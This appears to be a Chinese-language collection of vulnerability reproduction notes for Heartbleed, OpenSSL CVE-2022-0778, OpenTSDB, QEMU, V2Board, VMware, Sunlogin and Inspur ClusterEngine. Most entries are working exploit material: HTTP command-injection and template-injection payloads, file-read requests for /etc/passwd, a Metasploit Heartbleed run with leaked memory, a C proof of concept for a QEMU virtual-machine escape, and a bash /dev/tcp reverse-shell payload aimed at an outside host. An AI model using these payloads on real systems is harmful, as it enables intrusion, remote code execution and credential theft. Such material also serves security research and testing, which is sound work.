我们在运行这个环境的时候遇到过一个错误,部分AMD架构的CPU无法成功访问https页面,如果你也遇到过类似的问题,可以换Intel CPU试试。
漏洞复现
访问https://filippo.io/Heartbleed进行在线检测:
Python运行ssltest.py,拿到敏感数据(Cookie):
使用Nmap检测脚本对目标进行检测
检测到心脏滴血漏洞,使用MSF对目标进行攻击
msf5 > use auxiliary/scanner/ssl/openssl_heartbleed
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > show options
Module options (auxiliary/scanner/ssl/openssl_heartbleed):
Name Current Setting Required Description
---- --------------- -------- -----------
DUMPFILTER no Pattern to filter leaked memory before storing
LEAK_COUNT 1 yes Number of times to leak memory per SCAN or DUMP invocation
MAX_KEYTRIES 50 yes Max tries to dump key
RESPONSE_TIMEOUT 10 yes Number of seconds to wait for a server response
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
STATUS_EVERY 5 yes How many retries until key dump status
THREADS 1 yes The number of concurrent threads (max one per host)
TLS_CALLBACK None yes Protocol to use, "None" to use raw TLS sockets (Accepted: None, SMTP, IMAP, JABBER, POP3, FTP, POSTGRES)
TLS_VERSION 1.0 yes TLS/SSL version to use (Accepted: SSLv3, 1.0, 1.1, 1.2)
Auxiliary action:
Name Description
---- -----------
SCAN Check hosts for vulnerability
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set rhost 192.168.51.133
rhost => 192.168.51.133
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set verbose true
verbose => true
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > run
[*] 192.168.51.133:443 - Leaking heartbeat response #1
[*] 192.168.51.133:443 - Sending Client Hello...
[*] 192.168.51.133:443 - SSL record #1:
[*] 192.168.51.133:443 - Type: 22
[*] 192.168.51.133:443 - Version: 0x0301
[*] 192.168.51.133:443 - Length: 86
[*] 192.168.51.133:443 - Handshake #1:
[*] 192.168.51.133:443 - Length: 82
[*] 192.168.51.133:443 - Type: Server Hello (2)
[*] 192.168.51.133:443 - Server Hello Version: 0x0301
[*] 192.168.51.133:443 - Server Hello random data: 5fd46996727a4e50c0e2eaecf52d1592384aaa6870d4d65eea8b6b34eb47a389
[*] 192.168.51.133:443 - Server Hello Session ID length: 32
[*] 192.168.51.133:443 - Server Hello Session ID: 66e9cacbefcb28955de31c38bd9dff93de153a6d6247fa117ebc3f2f091d6f74
[*] 192.168.51.133:443 - SSL record #2:
[*] 192.168.51.133:443 - Type: 22
[*] 192.168.51.133:443 - Version: 0x0301
[*] 192.168.51.133:443 - Length: 822
[*] 192.168.51.133:443 - Handshake #1:
[*] 192.168.51.133:443 - Length: 818
[*] 192.168.51.133:443 - Type: Certificate Data (11)
[*] 192.168.51.133:443 - Certificates length: 815
[*] 192.168.51.133:443 - Data length: 818
[*] 192.168.51.133:443 - Certificate #1:
[*] 192.168.51.133:443 - Certificate #1: Length: 812
[*] 192.168.51.133:443 - Certificate #1: #<OpenSSL::X509::Certificate: subject=#<OpenSSL::X509::Name CN=localhost,O=Dis,L=Springfield,ST=Denial,C=US>, issuer=#<OpenSSL::X509::Name CN=localhost,O=Dis,L=Springfield,ST=Denial,C=US>, serial=#<OpenSSL::BN:0x00007efe8154c028>, not_before=2020-08-09 17:03:46 UTC, not_after=2021-08-09 17:03:46 UTC>
[*] 192.168.51.133:443 - SSL record #3:
[*] 192.168.51.133:443 - Type: 22
[*] 192.168.51.133:443 - Version: 0x0301
[*] 192.168.51.133:443 - Length: 331
[*] 192.168.51.133:443 - Handshake #1:
[*] 192.168.51.133:443 - Length: 327
[*] 192.168.51.133:443 - Type: Server Key Exchange (12)
[*] 192.168.51.133:443 - SSL record #4:
[*] 192.168.51.133:443 - Type: 22
[*] 192.168.51.133:443 - Version: 0x0301
[*] 192.168.51.133:443 - Length: 4
[*] 192.168.51.133:443 - Handshake #1:
[*] 192.168.51.133:443 - Length: 0
[*] 192.168.51.133:443 - Type: Server Hello Done (14)
[*] 192.168.51.133:443 - Sending Heartbeat...
[*] 192.168.51.133:443 - Heartbeat response, 65535 bytes
[+] 192.168.51.133:443 - Heartbeat response with leak, 65535 bytes
[*] 192.168.51.133:443 - Printable info leaked:
......_...DV.\....G...{.vc..i ..Gv.'....f.....".!.9.8.........5.............................3.2.....E.D...../...A.......................................w.....#.'.g.@.r.v.........8.........2.....E.D.......Q.......P.=...<.......A...............................#.............*.(.........................................+........-.....3.&.$... 3.<.]...et1......L.D.L%*.V8....{............................................................................................................................................jectReference" type="ServiceInstance">ServiceInstance</_this></RetrieveServiceContent></soap:Body></soap:Envelope>W&V.b...?....|.y..................................................................................................................................... repeated 15479 times .....................................................................................................................................@..................................................................................................................................... repeated 16122 times .....................................................................................................................................@.................................................................................................................................................................................................................................................................................................................................QA......h.......h.........7.RV....7.RV..................................................................................................................................... repeated 4129 times .....................................................................................................................................0......X.......X.........................7.RV..............................RV..=.c.RV.. .7.RV..x.7.RV....7.RV....7.RV..x.7.RV..x.7.RV..h.7.RV....7.RV....7.RV..192.168.51.146 - - [12/Dec/2020:06:47:40 +0000] "POST /sdk HTTP/1.1" 404 170 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)".org/book/nse.html)"..................................................................................................................................... repeated 3184 times .....................................................................................................................................Q ........................7.RV....7.RV..................................................................................................................................... repeated 7539 times .....................................................................................................................................@..........................................................................................................................................................................................................................................................................................................................................@.......................................................................................................................................................................................................$4.RV..................................@....... .......0.8.RV..........`.......0........$4.RV..jfx...&...~.RV..........PA......`....... '..RV..@d4.RV....................2.RV....................2.RV..........................1.................8.RV..........................1...............................................!...............h....... ...............m..U`.W.....O.>c.....E^X4........kr[..:.1...z[..x.W].........f...3h.qS.&K.(A*q*...].tx.b....X........Np....l.F...5....~..Z2.D..$........................................................................................................................................1.......x.......x.......P.2.RV....2.RV..0.......0.......>#NQ[.8.].......&.i2y.x.I....iOk........a....... '..RV..`.2.RV..................0.2.RV....................2.RV......................;P.e.........................U.6.&`.Ks..w>V.. ^..N..z....z...M.+..n/i..C...D......a..2.p..<.....}k.W:.Eq....Ui*I.X...m...-..x..3}.5NM............... .......P.2.RV..................1.........t.............................0....................V..>...I5.F......!.3Xhy.4.....r.....h.d..b........).......3.....&......IE...c,8.T.~..H.P.{y.....CK.,!&..;..vw....H.C...q....%e..{.XT.jq.R.r.....RHw..57.COlB..|......@...*.G(3..-N..P....mLO..]./.,9..|..+2.Lh..q..dF.m...'.....`...S.8........Q...U.0....I................................................................................................................................................................................................................................................................................ '..RV.. .8.RV..`.2.RV....................8.RV.................................. .2.RV....................2.RV............................................2.RV....................2.RV.......................... .2.RV.. .2.RV..................h.......h.........8.RV....8.RV..................................................................................................................................... repeated 745 times .....................................................................................................................................#8.RV..`.2.RV........!.3Xhy.4.....r.....h.d..b........).......3.....&......IE...c,8.T.~..H.P.{y.....CK.,!&..;..vw....H.C...q....%e..{.XT.jq.R.r.....RHw..57.COlB..|......@...*.G(3..-N..P....mLO..]./.,9..|..+2.Lh..q..dF.m...'.....`...S.8........Q...U.0....I ..................................................................................................................................... repeated 277 times .....................................................................................................................................X.......`.2.RV..........................................................P...........RV............................................................................................................................................................................................................................................................................................................................................2.RV..X..................................................................................................................................... repeated 437 times .....................................................................................................................................A.......X.........1.RV..................................................................................................................................................................................................................................................................................................................................X.......X..................................................................................................................................... repeated 429 times .....................................................................................................................................x.......!.......X.......X..................................................................................................................................... repeated 1942 times .....................................................................................................................................@..........V...R.._.i.rzNP.....-..8J.hp..^..k4.G.. f.....(.]..8......:mbG..~.?/..ot...................6...2../..,0..(0...........j..0...*.H........0V1.0...U....US1.0...U....Denial1.0...U....Springfield1.0...U....Dis1.0...U....localhost0...200809170346Z..210809170346Z0V1.0...U....US1.0...U....Denial1.0...U....Springfield1.0...U....Dis1.0...U....localhost0.."0...*.H.............0.........8...;....../t.....^.....P..=....w.*b.a>.8.Q.?.$.c.......{G. ........l..i...D..V....0......B..J..Y.c.wO.....M.Df..R....".4.u...............P.><7d}VK4^.$.S..U..u..R7l.+.H....;.V\.w.?..).........[....M..3......?..e...WBI^..&.'.nhV!.......V.;...y..+&tm.c1..3-.....0...*.H..............>.c..|.s(......,..H.1..0.=l`...(2..Sb.......`...c....5J....v..uj.*^i.$6^..a3.s.......v...\....M.pK.9....t.&...|y...u1.......u..M..%.+..{e....G..~.v.D.6...............=).3{......r/."vz..a.U..5-.5.=......l..ud......Nx...n..$h...4.G.~b.LU.Y...37..e....%.w.......K...G...A....~m.h,......qz>}uA.^)..A.&}o@..'...y.]..V..S..JY........Y/.u|....$.n.T._.b\\c...o.]....L.h...v*....z..D..?Kq9hJ.kT....?.....=......su....p.S...j.e.....-N}.S...x..Z.....t.;Z...n=.1.......J.1n.l...w. .l.d.W. .........8..`.>O........t...r..~.A$..R...v.8......x.\o<.....#hS......Vz.6....V..l....-.....,n...p.(..L.w.7h3...3..................................................................................................................................... repeated 6250 times .....................................................................................................................................
[*] 192.168.51.133:443 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
CVE-2022-0778
OpenSSL无限循环DOS漏洞(CVE-2022-0778)
OpenSSL是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。这个包广泛被应用在互联网的网页服务器上。
OpenSSL 1.1.1m 版本及以前存在一处逻辑缺陷,攻击者可以利用一个无效的椭圆曲线参数证书,触发一个无限循环导致耗尽目标CPU。由于证书解析发生在验证证书签名之前,任何解析外部提供的证书的进程都可能受到拒绝服务的攻击。
参考链接:
- https://github.com/drago-96/CVE-2022-0778
- https://www.cnblogs.com/logchen/p/16030515.html
- https://catbro666.github.io/posts/83951100/
- https://github.com/yywing/cve-2022-0778
漏洞环境
执行如下命令启动一个server:
docker compose up -d
漏洞复现
首先,使用这个项目中的代码编译并运行一个恶意服务器。如果你没有Golang相关编译环境,也可以直接使用如下Docker命令启动:
docker run -it --rm -p 12345:12345 yywing/cve-2022-0778 --addr 0.0.0.0:12345
然后,你可以在Vulhub环境中使用top
命令来查看此时的CPU占用:
docker compose exec curl top
由于这个漏洞是发生在解析TLS证书时,所以我们可以使用cURL来复现这个漏洞。进入容器,并执行cURL命令访问前面启动的恶意服务器:
docker compose exec curl bash
curl -k https://host.docker.internal:12345
此时,cURL会陷入死循环,查看top
中的CPU占用即可发现已经100%:
opentsdb
CVE-2020-35476
OpenTSDB 命令注入漏洞(CVE-2020-35476)
OpenTSDB是一款基于Hbase的、分布式的、可伸缩的时间序列数据库。在其2.4.0版本及之前,存在一处命令注入漏洞。
参考链接:
- https://github.com/OpenTSDB/opentsdb/issues/2051
- https://packetstormsecurity.com/files/136753/OpenTSDB-Remote-Code-Execution.html
漏洞环境
执行如下命令启动一个OpenTSDB 2.4.0:
docker compose up -d
服务启动后,访问http://your-ip:4242
即可看到OpenTSDB的Web接口。
漏洞复现
利用这个漏洞需要知道一个metric的名字,我们可以通过http://your-ip:4242/api/suggest?type=metrics&q=&max=10
查看metric列表:
我们这里的metrics是空的。
好在当前OpenTSDB开启了自动创建metric功能(tsd.core.auto_create_metrics = true
),所以我们可以使用如下API创建一个名为sys.cpu.nice
的metric并添加一条记录:
POST /api/put/ HTTP/1.1
Host: your-ip:4242
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 150
{
"metric": "sys.cpu.nice",
"timestamp": 1346846400,
"value": 20,
"tags": {
"host": "web01",
"dc": "lga"
}
}
如果目标OpenTSDB存在metric,且不为空,则无需上述步骤。
发送如下数据包,其中参数m
的值必须包含一个有数据的metric:
GET /q?start=2000/10/21-00:00:00&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[0:system(%27touch%20/tmp/success%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json HTTP/1.1
Host: your-ip:4242
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
进入容器中可见touch /tmp/success
已成功执行:
CVE-2023-25826
OpenTSDB 命令注入漏洞(CVE-2023-25826)
OpenTSDB是一款基于Hbase的、分布式的、可伸缩的时间序列数据库。
2.4.1版本及之前,存在一处命令注入漏洞。
这个漏洞其实是对之前的CVE-2020-35476修复不完善导致的,所以整个复现过程也与之前类似。
参考链接:
- https://www.synopsys.com/blogs/software-security/opentsdb/
- https://github.com/OpenTSDB/opentsdb/pull/2275
漏洞环境
执行如下命令启动一个OpenTSDB 2.4.1:
docker-compose up -d
服务启动后,访问http://your-ip:4242
即可看到OpenTSDB的Web接口。
漏洞复现
这之前的都和CVE-2020-35476一致,也是需要知道一个metric的名字,可以通过http://your-ip:4242/api/suggest?type=metrics&q=&max=10
查看metric列表。
如果metrics是空的,由于当前OpenTSDB开启了自动创建metric功能(tsd.core.auto_create_metrics = true
),所以也可以使用如下API创建一个名为sys.cpu.nice
的metric并添加一条记录:
POST /api/put/ HTTP/1.1
Host: your-ip:4242
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 150
{
"metric": "sys.cpu.nice",
"timestamp": 1346846400,
"value": 20,
"tags": {
"host": "web01",
"dc": "lga"
}
}
如果目标OpenTSDB存在metric,且不为空,则无需上述步骤。
然后这里的poc就有所不同了,这里可以看到绕过修复的一个点,在参数key这里:
GET /q?start=2000/10/21-00:00:00&m=sum:sys.cpu.nice&o=&ylabel=1&xrange=&y2range=[42:42]&key=%3Bsystem%20%22touch%20/tmp/poc%22%20%22&wxh=1516x644&style=linespoint&baba=lala&grid=t&json HTTP/1.1
Host: your-ip:4242
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
进入容器中可见touch /tmp/poc
已成功执行:
QEMU
CVE-2020-14364
QEMU 虚拟机逃逸漏洞
漏洞描述
当地时间8月24日,一个存在于QEMU USB模拟器中的越界读写漏洞(CVE-2020-14364)被公布。
漏洞位于 ./hw/usb/core.c 中,当程序处理来自客户机的USB数据包时,如果在 do_token_in 与 do_token_out中’USBDevice->setup_len’超过了USBDevice->data_buf[4096],则存在问题。
客户机用户可能会使用此漏洞使QEMU进程崩溃,从而导致DoS或在宿主机上以QEMU进程的特权执行任意代码,实现虚拟机逃逸。
攻击者在拥有云环境虚拟机操作系统权限的情况下,便可利用该漏洞获取宿主机权限,进而攻击虚拟机所在资源池所有租户主机,甚至可通过已开通的内网权限攻击管理域系统,风险极高。
本次漏洞的影响范围较广,涉及qemu 1.0 以上的全部版本。
漏洞影响
漏洞复现
USB总线通过创建一个USBpacket对象来和USB设备通信。
Usbpacket对象中包含以下关键内容
其中pid表明packet的类型,存在三种类型in、out、setup, ep指向endpoint对象,通过此结构定位目标usb设备。
数据交换为usbdevice中缓冲区的data_buf与usbpacket对象中使用usb_packet_map申请的缓冲区两者间通过usb_packet_copy函数实现,为了防止两者缓冲区长度不匹配,传送的长度由s->setup_len限制。
漏洞存在于s->setup_len赋值的过程do_token_setup中。
虽然进行了校验,但是由于在校验前,s->setup_len的值已经被设置导致之后的do_token_in或者do_token_out中使用usb_packet_copy时会产生越界读写漏洞。
1.泄露USBdevice对象的地址,观察越界可读内容发现 可以从下方的ep_ctl->dev获取到usbdevice的对象地址
2. 通过usbdevice的对象地址我们可以得到s->data_buf的位置,之后只需要覆盖下方的setup_index为目标地址-(s->data_buf)即可实现任意地址写。
3. 我们还需要获取任何地址读取功能,setup_buf [0]控制写入方向,并且只能由do_token_setup进行修改。 由于我们在第二步中使用了越界写入功能,因此setup_buf [0]是写入方向,因此只可以进行写入操作,无法读取。绕过方法:设置setup_index = 0xfffffff8,再次越界,修改setup_buf [0]的值,然后再次将setup_index修改为要读取的地址,以实现任意地址读取。
4.通过任意地址读取usbdevice对象的内容以获取ehcistate对象地址,再次使用任意地址读取ehcistate对象的内容以获取ehci_bus_ops_companion地址。 该地址位于程序data节区。 这时,我们可以获得程序的加载地址和system @ plt地址。也可以通过读取usbdevice固定偏移位置后的usb-tablet对象来获得加载地址。
5.在data_buf中伪造irq结构。
6.以伪造结构劫持ehcistate中的irq对象。
7.通过mmio读取寄存器以触发ehci_update_irq,执行system(“ xcalc”)。 完成利用
漏洞POC
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdbool.h>
#include <netinet/in.h>
unsigned char* mmio_mem;
char *dmabuf;
struct ohci_hcca * hcca;
struct EHCIqtd * qtd;
struct ohci_ed * ed;
struct ohci_td * td;
char *setup_buf;
uint32_t *dmabuf32;
char *td_addr;
struct EHCIqh * qh;
struct ohci_td * td_1;
char *dmabuf_phys_addr;
typedef struct USBDevice USBDevice;
typedef struct USBEndpoint USBEndpoint;
struct USBEndpoint {
uint8_t nr;
uint8_t pid;
uint8_t type;
uint8_t ifnum;
int max_packet_size;
int max_streams;
bool pipeline;
bool halted;
USBDevice *dev;
USBEndpoint *fd;
USBEndpoint *bk;
};
struct USBDevice {
int32_t remote_wakeup;
int32_t setup_state;
int32_t setup_len;
int32_t setup_index;
USBEndpoint ep_ctl;
USBEndpoint ep_in[15];
USBEndpoint ep_out[15];
};
typedef struct EHCIqh {
uint32_t next; /* Standard next link pointer */
/* endpoint characteristics */
uint32_t epchar;
/* endpoint capabilities */
uint32_t epcap;
uint32_t current_qtd; /* Standard next link pointer */
uint32_t next_qtd; /* Standard next link pointer */
uint32_t altnext_qtd;
uint32_t token; /* Same as QTD token */
uint32_t bufptr[5]; /* Standard buffer pointer */
} EHCIqh;
typedef struct EHCIqtd {
uint32_t next; /* Standard next link pointer */
uint32_t altnext; /* Standard next link pointer */
uint32_t token;
uint32_t bufptr[5]; /* Standard buffer pointer */
} EHCIqtd;
uint64_t virt2phys(void* p)
{
uint64_t virt = (uint64_t)p;
// Assert page alignment
int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd == -1)
die("open");
uint64_t offset = (virt / 0x1000) * 8;
lseek(fd, offset, SEEK_SET);
uint64_t phys;
if (read(fd, &phys, 8 ) != 8)
die("read");
// Assert page present
phys = (phys & ((1ULL << 54) - 1)) * 0x1000+(virt&0xfff);
return phys;
}
void die(const char* msg)
{
perror(msg);
exit(-1);
}
void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}
uint64_t mmio_read(uint32_t addr)
{
return *((uint64_t*)(mmio_mem + addr));
}
void init(){
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:05.7/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");
dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (dmabuf == MAP_FAILED)
die("mmap");
mlock(dmabuf, 0x3000);
hcca=dmabuf;
dmabuf32=dmabuf+4;
qtd=dmabuf+0x200;
qh=dmabuf+0x100;
setup_buf=dmabuf+0x300;
}
void init_state(){
mmio_write(0x64,0x100);
mmio_write(0x64,0x4);
qh->epchar=0x00;
qh->token=1<<7;
qh->current_qtd=virt2phys(dmabuf+0x200);
struct EHCIqtd * qtd;
qtd=dmabuf+0x200;
qtd->token=1<<7 | 2<<8 | 8<<16;
qtd->bufptr[0]=virt2phys(dmabuf+0x300);
setup_buf[6]=0xff;
setup_buf[7]=0x0;
dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;
mmio_write(0x28,0x0);
mmio_write(0x30,0x0);
mmio_write(0x38,virt2phys(dmabuf));
mmio_write(0x34,virt2phys(dmabuf));
mmio_write(0x20,0x11);
}
void set_length(uint16_t len,uint8_t in){
mmio_write(0x64,0x100);
mmio_write(0x64,0x4);
setup_buf[0]=in;
setup_buf[6]=len&0xff;
setup_buf[7]=(len>>8)&0xff;
qh->epchar=0x00;
qh->token=1<<7;
qh->current_qtd=virt2phys(dmabuf+0x200);
qtd->token=1<<7 | 2<<8 | 8<<16;
qtd->bufptr[0]=virt2phys(dmabuf+0x300);
dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;
mmio_write(0x28,0x0);
mmio_write(0x30,0x0);
mmio_write(0x38,virt2phys(dmabuf));
mmio_write(0x34,virt2phys(dmabuf));
mmio_write(0x20,0x11);
}
void do_copy_read(){
mmio_write(0x64,0x100);
mmio_write(0x64,0x4);
qh->epchar=0x00;
qh->token=1<<7;
qh->current_qtd=virt2phys(dmabuf+0x200);
qtd->token=1<<7 | 1<<8 | 0x1f00<<16;
qtd->bufptr[0]=virt2phys(dmabuf+0x1000);
qtd->bufptr[1]=virt2phys(dmabuf+0x2000);
dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;
mmio_write(0x28,0x0);
mmio_write(0x30,0x0);
mmio_write(0x38,virt2phys(dmabuf));
mmio_write(0x34,virt2phys(dmabuf));
mmio_write(0x20,0x11);
}
int main()
{
init();
iopl(3);
outw(0,0xc0c0);
outw(0,0xc0e0);
outw(0,0xc010);
outw(0,0xc0a0);
sleep(3);
init_state();
sleep(2);
set_length(0x2000,0x80);
sleep(2);
do_copy_read();
sleep(2);
struct USBDevice* usb_device_tmp=dmabuf+0x2004;
struct USBDevice usb_device;
memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice));
uint64_t dev_addr=usb_device.ep_ctl.dev;
uint64_t *tmp=dmabuf+0x24f4;
long long base=*tmp;
if(base == 0){
printf("INIT DOWN,DO IT AGAIN");
return 0;
}
base-=0xee5480-0x2668c0;
uint64_t system=base+0x2d9610;
puts("\\\\\\\\\\\\\\\\\\\\\\\\");
printf("LEAK BASE ADDRESS:%llx!\n",base);
printf("LEAK SYSTEM ADDRESS:%llx!\n",system);
puts("\\\\\\\\\\\\\\\\\\\\\\\\");
}
V2Board
V2Board Admin.php 越权访问漏洞
漏洞描述
V2board面板 Admin.php 存在越权访问漏洞,由于部分鉴权代码于v1.6.1版本进行了修改,鉴权方式变为从Redis中获取缓存判定是否存在可以调用接口,导致任意用户都可以调用管理员权限的接口获取后台权限
漏洞影响
网络测绘
漏洞复现
对比代码更新部分
与之前的代码相比较,鉴权在 v1.6.1 版本可以通过 auth_data 或 authorizetion
字段来实现验证
<?php
namespace App\Http\Middleware;
use Closure;
use Illuminate\Support\Facades\Cache;
class Admin
{
/**
* Handle an incoming request.
*
* @param \Illuminate\Http\Request $request
* @param \Closure $next
* @return mixed
*/
public function handle($request, Closure $next)
{
$authorization = $request->input('auth_data') ?? $request->header('authorization');
if (!$authorization) abort(403, '未登录或登陆已过期');
$authData = explode(':', base64_decode($authorization));
if (!Cache::has($authorization)) {
if (!isset($authData[1]) || !isset($authData[0])) abort(403, '鉴权失败,请重新登入');
$user = \App\Models\User::where('password', $authData[1])
->where('email', $authData[0])
->select([
'id',
'email',
'is_admin',
'is_staff'
])
->first();
if (!$user) abort(403, '鉴权失败,请重新登入');
if (!$user->is_admin) abort(403, '鉴权失败,请重新登入');
Cache::put($authorization, $user->toArray(), 3600);
}
$request->merge([
'user' => Cache::get($authorization)
]);
return $next($request);
}
}
可以发现主要要通过两次逻辑实现验证,一个是存在 header 中的 authorization 参数,再一个是校验 authorizations 是否存在于 Redis缓存中的
在登陆验证的代码中,成功使用 email 和 password 登陆后会返回 token 和 auth_data
同时 auth_data 会缓存于 Redis 中
由于 Admin.php 文件中只验证了 authrization 是否在 Redis的缓存中,所以当注册任意一个用户进行登陆后获取到 auth_data 就可以任意调用 管理员的接口
VMware
VMware vCenter vid 任意文件读取漏洞
漏洞描述
VMware vCenter特定版本存在任意文件读取漏洞,攻击者通过构造特定的请求,可以读取服务器上任意文件、
漏洞影响
网络测绘
漏洞复现
登录页面
/eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties
/eam/vib?id=/etc/passwd
CVE-2021-21975
VMware vRealize Operations Manager SSRF漏洞
漏洞描述
vRealize Operations Manager API包含服务器端请求伪造。可以通过网络访问vRealize Operations Manager API的恶意攻击者可以执行服务器端请求伪造攻击(SSRF),以窃取管理凭据。
漏洞影响
网络测绘
漏洞复现
访问登录页面如下
发送请求包如下
POST /casa/nodes/thumbprints HTTP/1.1
Host:
Content-Type: application/json;charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Length: 24
["eheeyd.dnslog.cn"]
POST /casa/nodes/thumbprints HTTP/1.1
Host:
Content-Type: application/json;charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Length: 24
["127.0.0.1:443/ui"]
CVE-2022-22954
VMware Workspace ONE Access SSTI漏洞
漏洞描述
VMware Workspace ONE Access(以前称为VMware Identity Manager)旨在通过多因素身份验证、条件访问和单点登录,让您的员工更快地访问SaaS、Web和本机移动应用程序。其中的CVE-2022-22954是一个匿名服务器模板注入漏洞,未经身份验证的攻击者可以利用此漏洞进行远程任意代码执行。
漏洞影响
网络测绘
漏洞复现
登录页面
验证POC
/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%22%29%7d
向日葵
向日葵 check 远程命令执行漏洞 CNVD-2022-10270
漏洞描述
向日葵通过发送特定的请求获取CID后,可调用 check接口实现远程命令执行,导致服务器权限被获取
漏洞影响
网络测绘
漏洞复现
向日葵在开启后会默认在 40000-65535 之间开启某端口
发送请求获取CID
/cgi-bin/rpc?action=verify-haras
使用获取到的 verify_string 作为 cookie的 CID字段,进行命令执行
/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+ipconfig
浪潮
浪潮ClusterEngineV4.0 sysShell 任意命令执行漏洞
漏洞描述
浪潮ClusterEngineV4.0 存在远程命令执行,攻击者通过发送特殊的请求可以获取服务器权限
漏洞影响
网络测绘
漏洞复现
登录页面如下
发送请求包
lPOST /sysShell HTTP/1.1 Host: Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Cookie: lang=cn Cache-Control: max-age=0 Content-Length: 42 op=doPlease&node=cu01&command=cat /etc/passwd
这里可以配合任意用户登录漏洞查看主机名
浪潮ClusterEngineV4.0 任意用户登录漏洞
漏洞描述
浪潮ClusterEngineV4.0 存在任意用户登录漏洞,构造恶意的用户名和密码即可获取后台权限
漏洞影响
网络测绘
漏洞复现
登录页面如下
USER: admin|pwd
PASS: 任意
成功登陆后台,部分功能是无法使用的
CVE-2020-21224
浪潮ClusterEngineV4.0 远程命令执行漏洞
漏洞描述
浪潮服务器群集管理系统存在危险字符未过滤,导致远程命令执行
漏洞影响
网络测绘
漏洞复现
登录页面如下
由于登录页面没有发现验证码,进行账号爆破
当burpsuite爆破完成时,注意到POST数据中如果带有 ;’ ,响应数据包发生异常。
通过响应包信息,猜测可能存在一个远程执行代码漏洞,并将此数据包放在repeater中,我发现如果发布数据中有
一个 ‘ ,系统将抛出异常。
进一步测试时,我发现username参数或password任一参数如果包含 ‘ ,将引发此异常
定尝试发送 ‘ ‘ 来查看响应包。
我注意到 grep 命令错误,服务端的代码可能是这样
var1 = `grep xxxx`
var2 = $(python -c "from crypt import crypt;print crypt('$username','$1$$var1')")
尝试发送 -V 和 –help 来查看响应包,响应包证实了猜测
尝试读取 /etc/passswd
尝试列目录
确认存在一个远程执行命令执行漏洞,经过fuzz,得到以下payload
反弹 shell
op=login&username=1 2\',\'1\'\); `bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fxxx.xxx.xxx.xxx%2F80%200%3E%261`
payload发送后, 在 kali linux 服务器上获取了一个 root 权限的 shell
上面是原文的测试思路,但经过重新测试之后发现还有另一种简单方法
POC测试(出现 root:x:0:0 则存在漏洞)
op=login&username=test`$(cat /etc/passwd)`
{"err":"/bin/sh: root:x:0:0:root:/root:/bin/bash: No such file or directory\n","exitcode":1,"out":"the user test does not exist\nerror:1\n"}
